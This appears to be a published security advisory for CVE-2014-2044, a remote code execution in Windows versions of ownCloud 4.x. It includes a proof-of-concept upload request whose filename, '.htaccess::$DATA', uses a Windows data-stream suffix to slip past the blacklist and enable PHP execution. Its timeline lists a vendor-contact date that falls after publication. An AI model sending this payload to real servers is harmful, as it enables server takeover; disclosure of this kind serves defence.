Tried, Tested and Proven

Vulnerability title: Remote Code Execution In ownCloud

CVE: CVE-2014-2044
Vendor: ownCloud
Product: ownCloud
Affected version: 4.0.x & 4.5.x
Fixed version: 5.0
Reported by: Alejo Murillo Moya

Details:

A remote code execution has been found and confirmed within the software as an authenticated user. A successful attack could allow an authenticated attacker to execute PHP code, which may lead to a full compromise of the server and associated infrastructure. Please note that only the Windows versions of ownCloud are affected and that valid credentials are required.

It is possible to create a custom .htaccess into the user’s folder on Windows version of the application, which will enable PHP execution on the folder. This vulnerability exists because it is possible to bypass the internal blacklists using Windows ADS (Alternate Data Streams).

Affected page:

* /owncloud/owncloud/?app=files&getfile=ajax%2Fupload.php [POST 'filename' parameter]

Proof Of Concept:

  POST /owncloud_5.0.14a/owncloud/?app=files&getfile=ajax%2Fupload.php HTTP/1.1
  [...]
  Content-Type: multipart/form-data; boundary=---------------------------21191376031994875607185408411
  Requesttoken: None

  -----------------------------21191376031994875607185408411
  Content-Disposition: form-data; name="MAX_FILE_SIZE" 

  536870912
  -----------------------------21191376031994875607185408411
  Content-Disposition: form-data; name="requesttoken" 

  None
  -----------------------------21191376031994875607185408411
  Content-Disposition: form-data; name="dir" 

  /
  -----------------------------21191376031994875607185408411
  Content-Disposition: form-data; name="files[]"; filename=".htaccess::$DATA" 
  Content-Type: text/plain

  <PUT YOUR TEXT HERE>
  -----------------------------21191376031994875607185408411--

Impact:

A successful attack could allow an authenticated attacker to execute PHP code in the systems, which may lead to a full compromise of the server and associated infrastructure. Please note that only the Windows versions of ownCloud are affected and that valid credentials are required.

Exploit:

Exploit code is not required.

Vendor status:

15/01/2014 Advisory created
28/10/2014 Vendor contacted
21/02/2014 CVE obtained
04/03/2014 Published
Copyright:

Copyright © Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

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